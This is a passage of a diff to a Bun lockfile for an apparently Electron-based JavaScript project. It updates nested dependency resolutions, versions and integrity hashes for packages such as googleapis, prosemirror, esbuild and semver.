"sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], "electron-winstaller/fs-extra": ["fs-extra@7.0.1", "", { "dependencies": { "graceful-fs": "^4.1.2", "jsonfile": "^4.0.0", "universalify": "^0.1.0" } }, "sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw=="], + "electron-winstaller/lodash": ["lodash@4.17.23", "", {}, "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w=="], + "encoding/iconv-lite": ["iconv-lite@0.6.3", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw=="], - "extract-zip/yauzl": ["yauzl@2.10.0", "", { "dependencies": { "buffer-crc32": "~0.2.3", "fd-slicer": "~1.1.0" } }, "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g=="], + "es-set-tostringtag/hasown": ["hasown@2.0.2", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="], "filelist/minimatch": ["minimatch@5.1.9", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-7o1wEA2RyMP7Iu7GNba9vc0RWWGACJOCZBJX2GJWip0ikV+wcOsgVuY9uE8CPiyQhkGFSlhuSkZPavN7u1c2Fw=="], "foreground-child/signal-exit": ["signal-exit@4.1.0", "", {}, "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw=="], + "form-data/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="], + "gaxios/node-fetch": ["node-fetch@3.3.2", "", { "dependencies": { "data-uri-to-buffer": "^4.0.0", "fetch-blob": "^3.1.4", "formdata-polyfill": "^4.0.10" } }, "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA=="], + "gcp-metadata/gaxios": ["gaxios@7.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "node-fetch": "^3.3.2", "rimraf": "^5.0.1" } }, "sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ=="], + + "get-intrinsic/hasown": ["hasown@2.0.2", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="], + "glob/minimatch": ["minimatch@3.1.5", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w=="], - "global-directory/ini": ["ini@4.1.1", "", {}, "sha512-QQnnxNyfvmHFIsj7gkPcYymR8Jdw/o7mp5ZFihxn6h8Ci6fh3Dx4E1gPjpQEpIuPo9XVNY/ZUwh4BPMjGyL01g=="], + "global-agent/semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], - "iconv-corefoundation/cli-truncate": ["cli-truncate@2.1.0", "", { "dependencies": { "slice-ansi": "^3.0.0", "string-width": "^4.2.0" } }, "sha512-n8fOixwDD6b/ObinzTrp1ZKFzbgvKZvuz/TvejnLn1aQfC6r52XEx85FmuC+3HI+JM7coBRXUvNqEU2PHVrHpg=="], + "googleapis/google-auth-library": ["google-auth-library@11.1.0", "", { "dependencies": { "base64-js": "^1.3.0", "ecdsa-sig-formatter": "^1.0.11", "gaxios": "^7.1.4", "gcp-metadata": "^9.0.0", "google-logging-utils": "^2.0.0", "jws": "^4.0.0" } }, "sha512-YIBq5KNoHQrZ9PM4PeodDBqqBGlSTIxh1zibN8u3zNIO9UJg8gvKuCpdKV7fWXhsZ2zRkU6FhGrgKNgLJ2IRgw=="], + + "googleapis-common/google-auth-library": ["google-auth-library@11.1.0", "", { "dependencies": { "base64-js": "^1.3.0", "ecdsa-sig-formatter": "^1.0.11", "gaxios": "^7.1.4", "gcp-metadata": "^9.0.0", "google-logging-utils": "^2.0.0", "jws": "^4.0.0" } }, "sha512-YIBq5KNoHQrZ9PM4PeodDBqqBGlSTIxh1zibN8u3zNIO9UJg8gvKuCpdKV7fWXhsZ2zRkU6FhGrgKNgLJ2IRgw=="], + + "googleapis-common/google-logging-utils": ["google-logging-utils@2.0.1", "", {}, "sha512-HMhaQghlOTvbcb3c4T5jmmOMtG3JUF1iOQMezaJXL86CDS+Tm2vHd0IeLFRAx3+ewd+bo9E1HFHoy17X5aJa9A=="], "iconv-corefoundation/node-addon-api": ["node-addon-api@1.7.2", "", {}, "sha512-ibPK3iA+vaY1eEjESkQkM0BbCqFOaZMiXRTtdB0u7b4djtY6JnsjvPdUHVMg6xQt3B8fpTTWHI9A+ADjM9frzg=="], @@ -2621,15 +2527,15 @@ "js-yaml/argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="], - "log-update/slice-ansi": ["slice-ansi@7.1.2", "", { "dependencies": { "ansi-styles": "^6.2.1", "is-fullwidth-code-point": "^5.0.0" } }, "sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w=="], + "lint-staged/tinyexec": ["tinyexec@1.3.1", "", {}, "sha512-GCvB3aoys96IuDFBMcTB46JOR6mdMtAToqwiW8JlWhsoh1mhHi/xn9ss/Dg7N555GiJyEt2qzoG/NHCwM6h1EA=="], - "log-update/strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], + "log-symbols/chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], "lru-cache/yallist": ["yallist@4.0.0", "", {}, "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="], - "markdown-it/argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="], + "make-fetch-happen/proc-log": ["proc-log@5.0.0", "", {}, "sha512-Azwzvl90HaF0aCz1JrDdXQykFakSSNPaPoiZ9fm5qJIMHioDZEi7OAdRwSm6rSoPtY3Qutnm3L7ogmg3dc+wbQ=="], - "mdast-util-find-and-replace/escape-string-regexp": ["escape-string-regexp@5.0.0", "", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="], + "matcher/escape-string-regexp": ["escape-string-regexp@4.0.0", "", {}, "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA=="], "minipass-flush/minipass": ["minipass@3.3.6", "", { "dependencies": { "yallist": "^4.0.0" } }, "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw=="], @@ -2637,18 +2543,34 @@ "minipass-sized/minipass": ["minipass@3.3.6", "", { "dependencies": { "yallist": "^4.0.0" } }, "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw=="], - "next/postcss": ["postcss@8.4.31", "", { "dependencies": { "nanoid": "^3.3.6", "picocolors": "^1.0.0", "source-map-js": "^1.0.2" } }, "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ=="], + "next/postcss": ["postcss@8.5.23", "", { "dependencies": { "nanoid": "^3.3.16", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-g50586zr4bZmwFiTlflMu8E0bDTb5I5gertgwAKmsdUlTQIhZtunzUlD1WSzwcVWPoAVpsrA6vlfCD7oXvRwgg=="], + + "node-abi/semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], + + "node-api-version/semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], "node-fetch/whatwg-url": ["whatwg-url@5.0.0", "", { "dependencies": { "tr46": "~0.0.3", "webidl-conversions": "^3.0.0" } }, "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw=="], - "ora/cli-cursor": ["cli-cursor@3.1.0", "", { "dependencies": { "restore-cursor": "^3.1.0" } }, "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw=="], + "node-gyp/undici": ["undici@6.29.0", "", {}, "sha512-R+RODBqp6i2pPflGdq+xIOUkl+RNfGgHwoinecKu/JCuf2uO06cOKoDbI2P7Dn6KcswdKwrczbU6IYJ6K8X+wg=="], + + "node-pty/node-addon-api": ["node-addon-api@7.1.1", "", {}, "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ=="], + + "officeparser/@xmldom/xmldom": ["@xmldom/xmldom@0.9.12", "", {}, "sha512-5AXjrcMClTryPe9LgZrygpB1lj7s0S9E0+W+AHaVKAVyHanafK86iPSvG5xHVSp/jC+VH1UXu0TAEmY279xH7A=="], + + "ora/chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], + + "ora/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], "p-queue/eventemitter3": ["eventemitter3@4.0.7", "", {}, "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw=="], + "p-retry/@types/retry": ["@types/retry@0.12.0", "", {}, "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA=="], + "parse-entities/@types/unist": ["@types/unist@2.0.11", "", {}, "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="], "path-scurry/lru-cache": ["lru-cache@10.4.3", "", {}, "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ=="], + "pkijs/@noble/hashes": ["@noble/hashes@1.8.0", "", {}, "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A=="], + "plist/xmlbuilder": ["xmlbuilder@15.1.1", "", {}, "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg=="], "postject/commander": ["commander@9.5.0", "", {}, "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ=="], @@ -2657,11 +2579,37 @@ "proper-lockfile/retry": ["retry@0.12.0", "", {}, "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow=="], - "react-video-kit/tailwind-merge": ["tailwind-merge@2.6.1", "", {}, "sha512-Oo6tHdpZsGpkKG88HJ8RR1rg/RdnEkQEfMoEk2x1XRI3F1AxeU+ijRXpiVUF4UbLfcxxRGw6TbUINKYdWVsQTQ=="], + "prosemirror-commands/prosemirror-model": ["prosemirror-model@1.25.4", "", { "dependencies": { "orderedmap": "^2.0.0" } }, "sha512-PIM7E43PBxKce8OQeezAs9j4TP+5yDpZVbuurd1h5phUxEKIu+G2a+EUZzIC5nS1mJktDJWzbqS23n1tsAf5QA=="], - "readable-stream/safe-buffer": ["safe-buffer@5.1.2", "", {}, "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="], + "prosemirror-commands/prosemirror-transform": ["prosemirror-transform@1.11.0", "", { "dependencies": { "prosemirror-model": "^1.21.0" } }, "sha512-4I7Ce4KpygXb9bkiPS3hTEk4dSHorfRw8uI0pE8IhxlK2GXsqv5tIA7JUSxtSu7u8APVOTtbUBxTmnHIxVkIJw=="], + + "prosemirror-dropcursor/prosemirror-transform": ["prosemirror-transform@1.11.0", "", { "dependencies": { "prosemirror-model": "^1.21.0" } }, "sha512-4I7Ce4KpygXb9bkiPS3hTEk4dSHorfRw8uI0pE8IhxlK2GXsqv5tIA7JUSxtSu7u8APVOTtbUBxTmnHIxVkIJw=="], + + "prosemirror-dropcursor/prosemirror-view": ["prosemirror-view@1.41.6", "", { "dependencies": { "prosemirror-model": "^1.20.0", "prosemirror-state": "^1.0.0", "prosemirror-transform": "^1.1.0" } }, "sha512-mxpcDG4hNQa/CPtzxjdlir5bJFDlm0/x5nGBbStB2BWX+XOQ9M8ekEG+ojqB5BcVu2Rc80/jssCMZzSstJuSYg=="], + + "prosemirror-history/prosemirror-transform": ["prosemirror-transform@1.11.0", "", { "dependencies": { "prosemirror-model": "^1.21.0" } }, "sha512-4I7Ce4KpygXb9bkiPS3hTEk4dSHorfRw8uI0pE8IhxlK2GXsqv5tIA7JUSxtSu7u8APVOTtbUBxTmnHIxVkIJw=="], + + "prosemirror-history/prosemirror-view": ["prosemirror-view@1.41.6", "", { "dependencies": { "prosemirror-model": "^1.20.0", "prosemirror-state": "^1.0.0", "prosemirror-transform": "^1.1.0" } }, "sha512-mxpcDG4hNQa/CPtzxjdlir5bJFDlm0/x5nGBbStB2BWX+XOQ9M8ekEG+ojqB5BcVu2Rc80/jssCMZzSstJuSYg=="], + + "prosemirror-inputrules/prosemirror-transform": ["prosemirror-transform@1.11.0", "", { "dependencies": { "prosemirror-model": "^1.21.0" } }, "sha512-4I7Ce4KpygXb9bkiPS3hTEk4dSHorfRw8uI0pE8IhxlK2GXsqv5tIA7JUSxtSu7u8APVOTtbUBxTmnHIxVkIJw=="], + + "prosemirror-schema-list/prosemirror-model": ["prosemirror-model@1.25.4", "", { "dependencies": { "orderedmap": "^2.0.0" } }, "sha512-PIM7E43PBxKce8OQeezAs9j4TP+5yDpZVbuurd1h5phUxEKIu+G2a+EUZzIC5nS1mJktDJWzbqS23n1tsAf5QA=="], - "restore-cursor/signal-exit": ["signal-exit@4.1.0", "", {}, "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw=="], + "prosemirror-schema-list/prosemirror-transform": ["prosemirror-transform@1.11.0", "", { "dependencies": { "prosemirror-model": "^1.21.0" } }, "sha512-4I7Ce4KpygXb9bkiPS3hTEk4dSHorfRw8uI0pE8IhxlK2GXsqv5tIA7JUSxtSu7u8APVOTtbUBxTmnHIxVkIJw=="], + + "prosemirror-state/prosemirror-model": ["prosemirror-model@1.25.4", "", { "dependencies": { "orderedmap": "^2.0.0" } }, "sha512-PIM7E43PBxKce8OQeezAs9j4TP+5yDpZVbuurd1h5phUxEKIu+G2a+EUZzIC5nS1mJktDJWzbqS23n1tsAf5QA=="], + + "prosemirror-state/prosemirror-transform": ["prosemirror-transform@1.11.0", "", { "dependencies": { "prosemirror-model": "^1.21.0" } }, "sha512-4I7Ce4KpygXb9bkiPS3hTEk4dSHorfRw8uI0pE8IhxlK2GXsqv5tIA7JUSxtSu7u8APVOTtbUBxTmnHIxVkIJw=="], + + "prosemirror-state/prosemirror-view": ["prosemirror-view@1.41.6", "", { "dependencies": { "prosemirror-model": "^1.20.0", "prosemirror-state": "^1.0.0", "prosemirror-transform": "^1.1.0" } }, "sha512-mxpcDG4hNQa/CPtzxjdlir5bJFDlm0/x5nGBbStB2BWX+XOQ9M8ekEG+ojqB5BcVu2Rc80/jssCMZzSstJuSYg=="], + + "prosemirror-tables/prosemirror-model": ["prosemirror-model@1.25.4", "", { "dependencies": { "orderedmap": "^2.0.0" } }, "sha512-PIM7E43PBxKce8OQeezAs9j4TP+5yDpZVbuurd1h5phUxEKIu+G2a+EUZzIC5nS1mJktDJWzbqS23n1tsAf5QA=="], + + "prosemirror-tables/prosemirror-transform": ["prosemirror-transform@1.11.0", "", { "dependencies": { "prosemirror-model": "^1.21.0" } }, "sha512-4I7Ce4KpygXb9bkiPS3hTEk4dSHorfRw8uI0pE8IhxlK2GXsqv5tIA7JUSxtSu7u8APVOTtbUBxTmnHIxVkIJw=="], + + "prosemirror-tables/prosemirror-view": ["prosemirror-view@1.41.6", "", { "dependencies": { "prosemirror-model": "^1.20.0", "prosemirror-state": "^1.0.0", "prosemirror-transform": "^1.1.0" } }, "sha512-mxpcDG4hNQa/CPtzxjdlir5bJFDlm0/x5nGBbStB2BWX+XOQ9M8ekEG+ojqB5BcVu2Rc80/jssCMZzSstJuSYg=="], + + "readable-stream/safe-buffer": ["safe-buffer@5.1.2", "", {}, "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="], "rimraf/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": { "glob": "dist/esm/bin.mjs" } }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="], @@ -2669,43 +2617,51 @@ "rtf-parser/iconv-lite": ["iconv-lite@0.4.24", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3" } }, "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA=="], - "slice-ansi/ansi-styles": ["ansi-styles@6.2.3", "", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="], + "shiki/@types/hast": ["@types/hast@3.0.5", "", { "dependencies": { "@types/unist": "*" } }, "sha512-rp/ezSWaD1m44dPKICGhiskI13nVr7qTloFwDa/IYkhhf5nzwP+zIQcIJh3WIFSBOy/H1PzB40jPjMDksN4F+g=="], - "slice-ansi/is-fullwidth-code-point": ["is-fullwidth-code-point@5.1.0", "", { "dependencies": { "get-east-asian-width": "^1.3.1" } }, "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ=="], + "sileo/motion": ["motion@12.35.0", "", { "dependencies": { "framer-motion": "^12.35.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-BQUhNUIGvUcwXCzwmnT1JpjUqab34lIwxHnXUyWRht1WC1vAyp7/4qgMiUXxN3K6hgUhyoR+HNnLeQMwUZjVjw=="], - "string_decoder/safe-buffer": ["safe-buffer@5.1.2", "", {}, "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="], + "simple-update-notifier/semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], - "tar-fs/chownr": ["chownr@1.1.4", "", {}, "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg=="], + "socks/ip-address": ["ip-address@10.1.0", "", {}, "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q=="], - "tar-stream/readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="], + "string-width-cjs/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + + "string-width-cjs/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + + "string_decoder/safe-buffer": ["safe-buffer@5.1.2", "", {}, "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="], + + "strip-ansi-cjs/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], "temp/rimraf": ["rimraf@2.6.3", "", { "dependencies": { "glob": "^7.1.3" }, "bin": { "rimraf": "./bin.js" } }, "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA=="], "tiny-async-pool/semver": ["semver@5.7.2", "", { "bin": { "semver": "bin/semver" } }, "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g=="], - "unzipper/bluebird": ["bluebird@3.7.2", "", {}, "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg=="], + "tinyglobby/picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="], - "unzipper/fs-extra": ["fs-extra@11.3.4", "", { "dependencies": { "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "sha512-CTXd6rk/M3/ULNQj8FBqBWHYBVYybQ3VPBw0xGKFe3tuH7ytT6ACnvzpIQ3UZtB8yvUKC2cXn1a+x+5EVQLovA=="], + "tsx/esbuild": ["esbuild@0.28.2", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.28.2", "@esbuild/android-arm": "0.28.2", "@esbuild/android-arm64": "0.28.2", "@esbuild/android-x64": "0.28.2", "@esbuild/darwin-arm64": "0.28.2", "@esbuild/darwin-x64": "0.28.2", "@esbuild/freebsd-arm64": "0.28.2", "@esbuild/freebsd-x64": "0.28.2", "@esbuild/linux-arm": "0.28.2", "@esbuild/linux-arm64": "0.28.2", "@esbuild/linux-ia32": "0.28.2", "@esbuild/linux-loong64": "0.28.2", "@esbuild/linux-mips64el": "0.28.2", "@esbuild/linux-ppc64": "0.28.2", "@esbuild/linux-riscv64": "0.28.2", "@esbuild/linux-s390x": "0.28.2", "@esbuild/linux-x64": "0.28.2", "@esbuild/netbsd-arm64": "0.28.2", "@esbuild/netbsd-x64": "0.28.2", "@esbuild/openbsd-arm64": "0.28.2", "@esbuild/openbsd-x64": "0.28.2", "@esbuild/openharmony-arm64": "0.28.2", "@esbuild/sunos-x64": "0.28.2", "@esbuild/win32-arm64": "0.28.2", "@esbuild/win32-ia32": "0.28.2", "@esbuild/win32-x64": "0.28.2" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-HKVLS8dvII+xoKW9kmqxbRKrnWEXfJJr/FZhhJmiqIB0e053QNYFqOBouTMO/k5sID4MvCiUCvv8b9M4h32wIA=="], - "word-extractor/yauzl": ["yauzl@2.10.0", "", { "dependencies": { "buffer-crc32": "~0.2.3", "fd-slicer": "~1.1.0" } }, "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g=="], + "type-is/content-type": ["content-type@2.1.0", "", {}, "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag=="], + + "unzipper/fs-extra": ["fs-extra@11.3.4", "", { "dependencies": { "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "sha512-CTXd6rk/M3/ULNQj8FBqBWHYBVYybQ3VPBw0xGKFe3tuH7ytT6ACnvzpIQ3UZtB8yvUKC2cXn1a+x+5EVQLovA=="], "wrap-ansi/ansi-styles": ["ansi-styles@6.2.3", "", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="], "wrap-ansi/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="], - "wrap-ansi/strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], + "wrap-ansi-cjs/string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": 